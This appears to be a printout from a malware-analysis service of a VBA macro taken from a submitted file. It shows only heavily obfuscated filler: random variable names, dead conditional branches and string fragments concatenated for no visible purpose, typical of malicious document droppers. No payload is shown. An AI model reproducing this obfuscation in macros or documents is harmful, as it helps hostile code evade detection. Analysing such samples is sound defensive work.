If Mid(nQ0P3G, 5) = "n9OT8" Then
MsgBox "soyZY"
End If
Dim vmbUqy
vmbUqy = "hFAXBM8tH"
Mid(vmbUqy, 15652 - 15650, 15652 - 15650) = "fox"
Dim qIpfXhtx As String
qIpfXhtx = "2dksXey"
Dim UGuJcW
UGuJcW = Array("QDYgyX", "hyeXiuh2Z", "UkUCM", "EZz7pR", "aCeuXZH")
Dim rbam4V
rbam4V = "gQy64"
If Mid(rbam4V, 5) = "EYqmyE" Then
MsgBox "Xn3V1"
End If
Dim NWxn7jskO As String
NWxn7jskO = "R3e"
eFpnH = qIpfXhtx & NWxn7jskO
Dim zq6yg
zq6yg = Array("MU6g7wFu", "EbpdLj", "GjgUWS", "XmTPqQVO7", "P0yQgW")
Dim uU52a
uU52a = "iRg4ZyU"
Mid(uU52a, 5886 - 5885, 5886 - 5885) = "fox"
Dim I3mriSzh
I3mriSzh = "3bhR2LvoDc"
cQV38 = I3mriSzh
Dim BifDB
BifDB = "lhyTH"
If Mid(BifDB, 5) = "MIdyZx4Ch" Then
MsgBox "ZCVtdqKIu"
End If
Dim gISHXOu0y
gISHXOu0y = Array("X4FU5LHd", "lKHBiCg", "lOwZKDQPn", "EAyV9S", "CEqiP4e6t")
Dim R2sxPb
R2sxPb = "WYyRCI"
Dim oEB82
oEB82 = Array("xtOhuMDR", "xmrLOo9", "Q9tnxf", "WpDkdAg0", "fJMxIP")
Dim kdyTmEiCL
kdyTmEiCL = "YHtYopdwI"
If Mid(kdyTmEiCL, 5) = "cegN0uzZ" Then
MsgBox "TCW1s2Y"
End If
Dim AC72JMfqa
AC72JMfqa = "kuOLHXA"
Mid(AC72JMfqa, 5917 - 5916, 5917 - 5916) = "fox"
Dim GgwIxEG As String
GgwIxEG = "9A"
Dim MYK5w7
MYK5w7 = "E2O8VgTbf"
If Mid(MYK5w7, 5) = "DnOPYAz" Then
MsgBox "SLZ6DVTuY"
End If
Dim V4jcmVMA
V4jcmVMA = "THlS6"
If Mid(V4jcmVMA, 5) = "ZJvgn8P" Then
MsgBox "MIWc7e"
End If
Dim Ts5GT
Ts5GT = "SZ"
zuDGY = R2sxPb & GgwIxEG & Ts5GT
Dim BeP7S
BeP7S = Array("sxyLQGmf2", "HO1FhQG", "bA5z2", "OgbKanS", "nnGAwlo")
Dim VzfPv
VzfPv = "ZEp2nH"
If Mid(VzfPv, 5) = "UFyof9P" Then
MsgBox "Jp1Yb"
End If
Dim qL1KFmR7 As String
qL1KFmR7 = "9ASbvRmbhJ"
jr0tPq4bv = qL1KFmR7
Dim PE2i7Ktk
PE2i7Ktk = "YJqXDfa"
If Mid(PE2i7Ktk, 5) = "INm4wad" Then
MsgBox "YhDlt"
End If
Dim gUF6MZeuj
gUF6MZeuj = "cDOs4z5"
If Mid(gUF6MZeuj, 5) = "LPBLQtaDe" Then
MsgBox "RNI2Vi"
End If
Dim cT7dLbUq As String
cT7dLbUq = "XYj13O"
Dim a6vZFs7N
a6vZFs7N = "X4ZeUACo"
Mid(a6vZFs7N, -12257 + 12258, -12257 + 12258) = "fox"
Dim YHRIOp3U5
YHRIOp3U5 = Array("pMais", "yG1JeoW6", "IH4VBdeU", "eml2OrnDH", "AzSp1J0B")
Dim XjFMu
XjFMu = Array("kvU4gcqdT", "OAYBWhvt", "KlpN6Rj", "ecopA", "vUZoB1L4")
Dim Lch7wDFY0
Lch7wDFY0 = "Z1mvne"
Mid(Lch7wDFY0, 15338 - 15337, 15338 - 15337) = "fox"
Dim XBVyLDuS As String
XBVyLDuS = "rFWZ"
beoph = cT7dLbUq & XBVyLDuS
Dim cEhi61wK
cEhi61wK = Array("mF1YLe", "PMmndpzkI", "IvexNjB1", "GEqJOs", "fZlXV")
Dim NJ8Aq7HX
NJ8Aq7HX = Array("lrn8x7lBE", "jNyBEwz4", "YmwdYpDE2", "wtazDGj", "lPQGb")
Dim iHKgB9RT As String
iHKgB9RT = "0h2Jg0DI"
Dim SvhNW
SvhNW = "GRvpAKr0U"
If Mid(SvhNW, 5) = "FcyEp" Then
MsgBox "EMx17I9"
End If
Dim zqyCm
zqyCm = "H8O5clS"
If Mid(zqyCm, 5) = "KzKNhv5nC" Then
MsgBox "MxyFfgsjE"
End If
Dim QJxIwhGM8
QJxIwhGM8 = "zx"
ja02PW = iHKgB9RT & QJxIwhGM8
Dim rjlgmK51
rjlgmK51 = "q3pkRDBiV"
Mid(rjlgmK51, 13754 / 6877, 13754 / 6877) = "fox"
Dim RTaF3r
RTaF3r = Array("AG2gpHdFk", "P0uSw", "JOV6W1Y", "UkHzL9", "LR1UW")
Dim sOTxQRc3
sOTxQRc3 = "WZw9yL6"
Dim CU9my3NY
CU9my3NY = Array("OIof4SXcF", "YkbexAq", "FoSObKn61", "koaLG4mYI", "LSiB6fAPo")
Dim clvabnIYP
clvabnIYP = "AHd"
QvD7Ja = sOTxQRc3 & clvabnIYP
Dim F6GR7oLWv
F6GR7oLWv = "hqVah05iB"
Mid(F6GR7oLWv, -2209 + 2210, -2209 + 2210) = "fox"
Dim fc8NVHD3r
fc8NVHD3r = "kVwEy7"
Mid(fc8NVHD3r, -2209 + 2210, -2209 + 2210) = "fox"
Dim NBnr4jZPO
NBnr4jZPO = "XkEGtejTo"
If Mid(NBnr4jZPO, 5) = "QpzSPNVy" Then
MsgBox "uFJjpoZK"
End If
Dim NaE3Zxs
NaE3Zxs = Array("FQ6f0H7t", "y0P4o7T", "uJ7V3f", "otSf4L1", "Nbydk")
Dim X1JzMFom As String
X1JzMFom = "XZ3J2Lt92"
Dim vHnk8m
vHnk8m = "IjIWMmFt"
Mid(vHnk8m, 2495 - 2493, 2495 - 2493) = "fox"
Dim Ue4qY
Ue4qY = "TckoIzx5"
Mid(Ue4qY, -10427 + 10428, -10427 + 10428) = "fox"
Dim gLBMoT
gLBMoT = Chr(89)
aV8eF = X1JzMFom & gLBMoT
Dim I9Q5X
I9Q5X = Array("KHBlvDqp", "PiJngfas", "gzetJa", "kwGSny4b", "t3bAx50")
Dim OaAMnrq As String
OaAMnrq = "XZN5ibvlGd"
A93RL = OaAMnrq
Dim Fk2pGj
Fk2pGj = "a9VYLE"
If Mid(Fk2pGj, 5) = "X0wK8hok" Then
MsgBox "H6ae4"
End If
Dim YOqvU0 As String
YOqvU0 = "HJ7"
Dim xoODY
xoODY = "W50ALD4rj"
Mid(xoODY, 13908 / 6954, 13908 / 6954) = "fox"
Dim oB1MTN
oB1MTN = Array("p08SYRusp", "LVUNz2", "lupa2QA", "Nkucw", "WQK0C4ucz")
Dim Uiqdpj
Uiqdpj = "BFv5DZoa0"
If Mid(Uiqdpj, 5) = "ekLxBCp" Then
MsgBox "ibTU1E"
End If
Dim xzqMnSI As String
xzqMnSI = "wGblh2U"
nYTMZl = YOqvU0 & xzqMnSI
Dim d74wD2Xaz
d74wD2Xaz = Array("iMOS16jAm", "uvmBbJW", "l1l6HMv", "PO3X5j", "gpEbTqhHR")
Dim oOrGe8
oOrGe8 = Array("FKv1Ul76L", "Gs0JcBKor", "OAKgG1", "o9jZyPc", "o6szB")
Dim BzWR7I
BzWR7I = "s2UeNfQ3"
If Mid(BzWR7I, 5) = "m9hI8L" Then
MsgBox "cHbXhknY4"
End If
Dim ix9cweK
ix9cweK = "3U"
Dim nupL7D
nupL7D = Array("cXTSE", "LFjL2h", "snPhKOt0", "GzvcoBt", "zkqdmEz")
Dim rcMSy4t
rcMSy4t = "vRlLsJX"
Dim cgFX4
cgFX4 = Array("CKsXdAu", "bbJWR4K1Y", "d5PRM09w", "GYmES", "v92NKEw1f")
Dim MdpSK
MdpSK = "zRQZcB4ul"
If Mid(MdpSK, 5) = "hY9exh" Then
MsgBox "umv4drB"
End If
Dim xiFPk
xiFPk = "uPzUC"
If Mid(xiFPk, 5) = "PEFvc3Rf8" Then
MsgBox "JPCTd"
End If
Dim xqwVpo As String
xqwVpo = Chr(100)
I9zeHDA10 = ix9cweK & rcMSy4t & xqwVpo
Dim W7oLwqS2
W7oLwqS2 = "WO9Iurwis"
If Mid(W7oLwqS2, 5) = "CZgpxu5" Then
MsgBox "vSTX312M"
End If
Dim xY1PyV
xY1PyV = "rOfc8oIu"
If Mid(xY1PyV, 5) = "rldALfxz" Then
MsgBox "fuzYVt"
End If
Dim wOE3IVU
wOE3IVU = "eByeHbIQl"
Mid(wOE3IVU, -1233 + 1235, -1233 + 1235) = "fox"
Dim HuP0lcT9 As String
HuP0lcT9 = "uMWYp"
Dim Gx3FQTCED
Gx3FQTCED = "gptBc"
If Mid(Gx3FQTCED, 5) = "x72TeSg" Then
MsgBox "ACgN3rv"
End If
Dim hA8pF
hA8pF = "RWZt9"
k7tR5 = HuP0lcT9 & hA8pF
Dim qkbIgL
qkbIgL = "cqgaZriDe"
If Mid(qkbIgL, 5) = "Z8OWt7u" Then
MsgBox "MiuYZM6v"
End If
Dim Uo98W
Uo98W = Array("da273no", "fuQsdKPvA", "QpwLQzb9g", "Tzk3n", "GfrXh")
Dim KFSy9
KFSy9 = "XSrMgp"
Mid(KFSy9, 25238 / 12619, 25238 / 12619) = "fox"
Dim zgedb
zgedb = "hZJ7c08dt"
If Mid(zgedb, 5) = "Md53kf81" Then
MsgBox "CJ5u6G"
End If
Dim reuEX5
reuEX5 = "HJ7Qnbl"
Dim n6j1sSY
n6j1sSY = "IvHplAie"
If Mid(n6j1sSY, 5) = "SCuw0jf4" Then
MsgBox "zGZ20t"
End If
Dim dzDjY02s
dzDjY02s = "RwvT9Q"
Mid(dzDjY02s, 14361 - 14359, 14361 - 14359) = "fox"
Dim xDQze
xDQze = Array("MBYVj", "YG6k4", "KtheV7fvW", "V7LCHEV", "uOFTN4w")
Dim TJ1qANQsY
TJ1qANQsY = "lGb"
mpGPWz5te = reuEX5 & TJ1qANQsY
Dim Qr8kULQp
Qr8kULQp = Array("cIiCoY", "imCsrRM4h", "pcbBtz", "wpQ4t", "PtNBJO8Yp")
Dim RFHtrq
RFHtrq = Array("VPmBtR", "RCUzhxRE", "vXeUw", "FnxbJe5", "TQDfA")
Dim HaK38 As String
HaK38 = "WZ"
Dim EbH0mk
EbH0mk = "NexFa"
Mid(EbH0mk, 934 / 467, 934 / 467) = "fox"
Dim UnMHX As String
UnMHX = "kAS"
Dim lIsLTo
lIsLTo = "BES5P8dq"
Mid(lIsLTo, -4277 + 4278, -4277 + 4278) = "fox"
Dim MP6Ud
MP6Ud = "sDJ7d1ZNS"
Mid(MP6Ud, -4277 + 4278, -4277 + 4278) = "fox"
Dim piy0wah
piy0wah = "bBd1RI"
If Mid(piy0wah, 5) = "KUOqRHS" Then
MsgBox "dSfoQ"
End If
Dim QQKfY
QQKfY = "KpvtkLiAJ"
If Mid(QQKfY, 5) = "WPOkxEf80" Then
MsgBox "qZ2hmT6V"
End If
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.